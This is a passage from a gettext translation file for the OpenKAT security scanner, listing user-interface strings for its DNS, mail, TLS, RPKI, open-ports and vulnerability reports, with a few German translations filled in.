reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Compliance issue\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/report_types/web_system_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Risk level\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific_overview.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"This is where checks are done that are specific to system types. Different \"\n\"security and compliance issues come into play for different systems. They \"\n\"are listed here under each other.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Term Overview\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"For definitions of terms used in this chapter, see the glossary below.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"Web servers and domains are examples of digital assets within this \"\n\"framework. Web servers are essential for hosting and serving websites or web \"\n\"applications, while domains represent the online addresses used to access \"\n\"these resources. Other examples of assets in the IT realm include databases, \"\n\"user accounts, software applications, and networking infrastructure. Asset \"\n\"management is a critical aspect of cybersecurity, involving the \"\n\"identification, classification, and protection of these assets to safeguard \"\n\"against threats and ensure the overall security and functionality of an \"\n\"organization's IT environment.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"Multiple hostnames that resolve to one IP address where at least one of the \"\n\"hostnames or the IP address has a declared scan level that is at least L1. \"\n\"Type systems are web servers, mail servers and name servers (DNS).\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A fundamental component of the client-server model. A web server uses \"\n\"protocols like HTTP or HTTPS to facilitate communication between clients and \"\n\"the server.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A mail server is a specialized software application or hardware device that \"\n\"facilitates the sending, receiving, and storage of emails within a computer \"\n\"network. Operating on the Simple Mail Transfer Protocol (SMTP) for outgoing \"\n\"messages and either Internet Message Access Protocol (IMAP) or Post Office \"\n\"Protocol (POP) for incoming messages, a mail server manages email \"\n\"communication by routing messages between users and storing them until they \"\n\"are retrieved. The server ensures the efficient and secure transfer of \"\n\"emails, handling tasks such as authentication, spam filtering, and message \"\n\"storage.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A nameserver, or Domain Name System (DNS) server, is a critical component of \"\n\"the internet infrastructure responsible for translating human-readable \"\n\"domain names into IP addresses, enabling the seamless navigation of the web. \"\n\"When a user enters a domain name in a web browser, the nameserver is queried \"\n\"to obtain the corresponding IP address of the server hosting the associated \"\n\"website or service.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A DICOM server, which stands for Digital Imaging and Communications in \"\n\"Medicine, is a specialized server designed for the storage, retrieval, and \"\n\"exchange of medical images and related information in the healthcare \"\n\"industry. DICOM is a widely adopted standard that ensures interoperability \"\n\"and consistency in the communication of medical images and associated data \"\n\"among different devices and systems, such as medical imaging equipment, \"\n\"picture archiving and communication systems (PACS), and radiology \"\n\"information systems (RIS). DICOM servers store and manage patient-specific \"\n\"medical images, like X-rays, CT scans, and MRIs, utilizing a standardized \"\n\"format.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"No CVEs have been found.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Records found\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"The DNS report gives an overview of the DNS records that were found for the \"\n\"DNSZone. Additionally the security measures table shows whether or not DNS \"\n\"relating security measures are enabled.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"<strong>Disclaimer:</strong> Not all DNSRecords are parsed in OpenKAT. DNS \"\n\"record types that are parsed and could be displayed in the table are:\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"All existing DNS record types can be found here:\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Record\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"TTL\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Data\"\nmsgstr \"Daten\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"No records have been found.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Security measures\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"The security measures table below shows which DNS relating security measures \"\n\"are enabled based on the contents of the DNS records.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/explanations.html\n#: rocky/templates/partials/ooi_detail_related_object.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#: rocky/views/mixins.py\nmsgid \"Type\"\nmsgstr \"Typ\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Yes\"\nmsgstr \"Ja\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"No\"\nmsgstr \"Nein\"\n\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_findings_table.html\nmsgid \"Other findings found\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Findings information\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.py\nmsgid \"DNS Report\"\nmsgstr \"DNS Report\"\n\n#: reports/report_types/dns_report/report.py\nmsgid \"\"\n\"DNS reports focus on domain name system configuration and potential \"\n\"weaknesses.\"\nmsgstr \"\"\n\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"The Findings Report contains information about the findings that have been \"\n\"identified for the selected asset and organization.\"\nmsgstr \"\"\n\n#: reports/report_types/findings_report/report.py\nmsgid \"Findings Report\"\nmsgstr \"\"\n\n#: reports/report_types/findings_report/report.py\nmsgid \"Shows all the finding types and their occurrences.\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.html\nmsgid \"\"\n\"The IPv6 report provides an overview of the current IPv6 status of the \"\n\"identified system. The table below shows whether the domain is reachable \"\n\"over IPv6 or not. A green compliance check is shown if this is the case. A \"\n\"grey compliance cross is shown if no IPv6 address was detected.\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.html\nmsgid \"IPv6 overview\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.html\n#: reports/report_types/systems_report/report.html\nmsgid \"Domain\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.py\nmsgid \"IPv6 Report\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.py\nmsgid \"Check whether hostnames point to IPv6 addresses.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"\"\n\"The Mail Report provides an overview of the compliance checks associated \"\n\"with email servers. The current compliance checks the presence of SPF, DKIM \"\n\"and DMARC records. The table below shows for each of these checks how many \"\n\"of the identified mail servers are compliant, and if applicable a compliance \"\n\"issue description and risk level. The risk level may be different for your \"\n\"specific environment.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"Mailserver compliance\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"mailservers compliant\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"No mailservers have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.py\nmsgid \"Mail Report\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.py\nmsgid \"\"\n\"System specific Mail Report that focusses on IP addresses and hostnames.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Overview of included assets\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Asset\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"Amount\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"IP addresses\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Domain names\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Assets with most critical vulnerabilities\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Vulnerability\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Organisation\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"No vulnerabilities found.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"Overview of safe connections\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"Only Safe Ciphers\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"services are compliant\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"System specific checks\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"IPv6\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"\"\n\"IPv6 includes improvements in security features compared to IPv4. While IPv4 \"\n\"can implement security measures, IPv6 was designed with security in mind, \"\n\"and its adoption can contribute to a more secure internet.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"In total \"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \" out of \"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \" systems have an IPv6 connection.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"Overview of IP version compliance\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"\"\n\"See an overview of open ports found over all systems and the services these \"\n\"systems provide.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"Overview of detected open ports\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\n#: reports/report_types/open_ports_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Open ports\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"Occurrences (IP addresses)\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\n#: reports/templates/summary/service_health.html\nmsgid \"Services\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"No open ports found.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/recommendations.html\nmsgid \"Overview of recommendations\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/recommendations.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Occurrence\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/report.html\nmsgid \"No findings have been identified yet.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/report.py\nmsgid \"Multi Organization Report\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/summary.html\nmsgid \"Best scoring security check\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/summary.html\nmsgid \"Worst scoring security check\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"\"\n\"Vulnerabilities found are grouped per system. Here, we only consider CVE \"\n\"vulnerabilities.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"Vulnerabilities grouped per system\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"total\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"\"\n\"The Name Server Report provides an overview of the compliance checks that \"\n\"were performed against the identified Domain Name Servers (DNS). The \"\n\"compliance checks verify the presence and validity of DNSSEC and whether no \"\n\"unnecessary ports were identified to be open. The table below gives an \"\n\"overview of the available checks including whether the system passed the \"\n\"performed checks. The risk level and reasoning as to why an issue was \"\n\"identified are shown too. The risk level may be different for your specific \"\n\"environment.\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"Name server compliance\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"DNSSEC Present\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"name servers compliant\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"Valid DNSSEC\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"No unnecessary ports open\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"No nameservers have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.py\nmsgid \"Name Server Report\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.py\nmsgid \"Name Server Report checks name servers on basic security standards.\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"\"\n\"The Open Ports Report provides an overview of the open ports identified on a \"\n\"system. The ports that are marked as <b>bold</b> were identified by direct \"\n\"scans performed by OpenKAT (such as nmap). Ports that are not marked in bold \"\n\"were identified through external services and/or scans (such as Shodan). \"\n\"Scans with the same hostnames, ports and IPs are merged.\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Overview of open ports found for the scanned assets\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\n#: reports/report_types/systems_report/report.html\nmsgid \"IP address\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Hostnames\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Direct scan\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.py\nmsgid \"Open Ports Report\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.py\nmsgid \"Find open ports of IP addresses\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"\"\n\"This section contains basic security information about Resource Public Key \"\n\"Infrastructure (RPKI). If your web server employs RPKI for its IP addresses \"\n\"and associated nameservers, then it enhances visitor protection against \"\n\"misconfigurations and malicious route intercepts through verified route \"\n\"announcements, ensuring reliable server access and secure internet traffic.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"\"\n\"The RPKI Report shows if an RPKI route announcement was available for the \"\n\"system and if this announcement is not expired.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI compliance\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI Available\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI valid\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI record is not valid.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI record does not exist.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"No IPs have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.py\nmsgid \"RPKI Report\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.py\nmsgid \"\"\n\"Shows whether the IP is covered by a valid RPKI ROA. For a hostname it shows \"\n\"the IP addresses and whether they are covered by a valid RPKI ROA.\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"\"\n\"The Safe Connections report provides an overview of the performed checks \"\n\"with regard to encrypted communication channels such as HTTPS. The table \"\n\"below gives an overview of the available checks including whether the system \"\n\"passed the performed checks. The risk level and reasoning as to why an issue \"\n\"was identified are shown too. The risk level may be different for your \"\n\"specific environment.\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"Safe connections compliance\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.py\nmsgid \"Safe Connections Report\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.py\nmsgid \"Shows whether the IPService contains safe ciphers.\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"\"\n\"The System Report provides an overview of the system types (types of similar \"\n\"services) that were identified for each system. The following system types \"\n\"can be identified: DNS servers, Web servers, Mail servers and those \"\n\"classified as 'Other' servers. Each hostname and/or IP address is given one \"\n\"or more system types depending on the identified ports and services. The \"\n\"table below gives an overview of these results.\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"Selected assets\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"No system types have been identified on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.py\nmsgid \"System Report\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.py\nmsgid \"Combine IP addresses, hostnames and services into systems.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The TLS Report shows which TLS protocols and ciphers were identified on the \"\n\"host for the provided port.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The table below provides an overview of the identified TLS protocols and \"\n\"ciphers, including a status suggestion.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Ciphers\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Protocol\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Encryption Algorithm\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Bits\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Key Size\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Code\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Phase out\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Good\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"No ciphers were found for this combination of IP address, port and service.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The list below gives an overview of the findings based on the identified TLS \"\n\"protocols and ciphers. This includes the reasoning why the cipher or \"\n\"protocol is marked as a finding.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.py\nmsgid \"TLS Report\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.py\nmsgid \"\"\n\"TLS Report assesses the security of data encryption and transmission \"\n\"protocols.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"No vulnerabilities have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"\"\n\"The Vulnerability Report provides an overview of all identified CVE \"\n\"vulnerabilities that were identified on the selected systems. For each CVE \"\n\"the table shows the CVE scoring, the number of occurrences, and the CVE \"\n\"details.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"vulnerabilities on this system\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"Advice\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Vulnerability Report\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Vulnerabilities found are grouped for each system.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"First seen\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Last seen\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Evidence\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"\"\n\"The Web System Report provides an overview of various web server checks that \"\n\"were performed against the scanned system(s). For each performed check the \"\n\"table below shows whether or not the server is compliant with the checks. A \"\n\"description of why this compliant check failed is also shown, including an \"\n\"general risk level. The risk level may be different for your specific \"\n\"environment.\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Web system compliance\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"CSP Present\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"webservers compliant\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Secure CSP Header\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Redirects HTTP to HTTPS\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Offers HTTPS\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Has a Security.txt\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Has a certificate\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Certificate is valid\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Certificate is not expiring soon\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"No webservers have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.py\nmsgid \"Web System Report\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.py\nmsgid \"Web System Reports check web systems on basic security standards.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\nmsgid \"Report schedule\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\nmsgid \"\"\n\"When scheduling your report, you have two options. You can either choose to \"\n\"generate it just once now, or set it to run automatically at regular \"\n\"intervals, like daily, weekly, or monthly. If you need the report just for a \"\n\"single occasion, select the one-time option.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Report name\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#, python-format, python-brace-format\nmsgid \"\"\n\"When generating reports, it is possible to give the report a name. The name \"\n\"can be static or dynamic. The default format for a report is '${report_type} \"\n\"for ${oois_count} objects'. These placeholders automatically adapt based on \"\n\"the report details. This format could for example return 'Aggregate Report \"\n\"for 15 objects'. Another placeholder that can be used is '${ooi}', which \"\n\"will show the name of the object when there is only one object. You can also \"\n\"customize the name by adding prefixes, suffixes, or other formats like '%%W' \"\n\"for the week number, using options from <a href=\\\"https://strftime.org/\\\" \"\n\"target=\\\"_blank\\\" rel=\\\"noopener\\\">Python strftime code</a>.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#: reports/templates/partials/generate_report_header.html\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/generate_report.py\nmsgid \"Generate report\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate an aggregate report, complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate a multi report, complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate separate report(s), complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_sidemenu.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Table of contents\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\nmsgid \"Actions for creating a new report\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\nmsgid \"Separate report(s)\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/aggregate_report.py\nmsgid \"Aggregate report\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/multi_report.py\nmsgid \"Multi report\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_sidemenu.html\n#: rocky/templates/oois/ooi_page_tabs.html\nmsgid \"Overview\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Plugin overview table\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Required plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Suggested plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Action required\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Ready\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"\"\n\"This table provides an overview of the identified findings on the scanned \"\n\"systems. For each finding type it shows the risk level, the number of \"\n\"occurrences and the first known occurrence of the finding. The risk level \"\n\"may be different for your specific environment. The details can be seen when \"\n\"expanding a row. A description, the source, impact and recommendation of the \"\n\"finding can be found here. It also shows in which findings the finding type \"\n\"occurred.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"First known occurrence\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"Open in report\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"\"\n\"No critical and high findings have been identified for this organization.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"No findings have been identified for this organization.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Download as PDF\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Download as JSON\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Open asset reports\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"This is the OpenKAT report for organization\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"\"\n\"All selected report types for the selected objects are displayed one below \"\n\"the other.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created with data from:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created on:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created from recipe:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Recipe created by:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\n#, python-format\nmsgid \"This sector contains %(length)s scanned organizations.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Of these organizations\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"organizations have tag\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"The basic security scores are around \"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\n#, python-format\nmsgid \"A total of %(total)s critical vulnerabilities have been identified.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_introduction.html\nmsgid \"Introduction\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_introduction.html\nmsgid \"\"\n\"This report gives an overview of the current state of security for your \"\n\"organisation for the selected date. The summary section provides an overview \"\n\"of the selected systems (objects), plugins and reports. This is followed \"\n\"with the findings for each report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Report names:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\n#: rocky/templates/forms/widgets/checkbox_group_table.html\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/form/field_input.html\n#: rocky/templates/partials/form/field_input_checkbox.html\n#: rocky/templates/partials/form/field_input_multiselect.html\n#: rocky/templates/partials/form/field_input_radio.html\nmsgid \"Required\"\nmsgstr \"Erforderlich\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Add reference date\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\nmsgid \"Reset\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"No reference date\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid 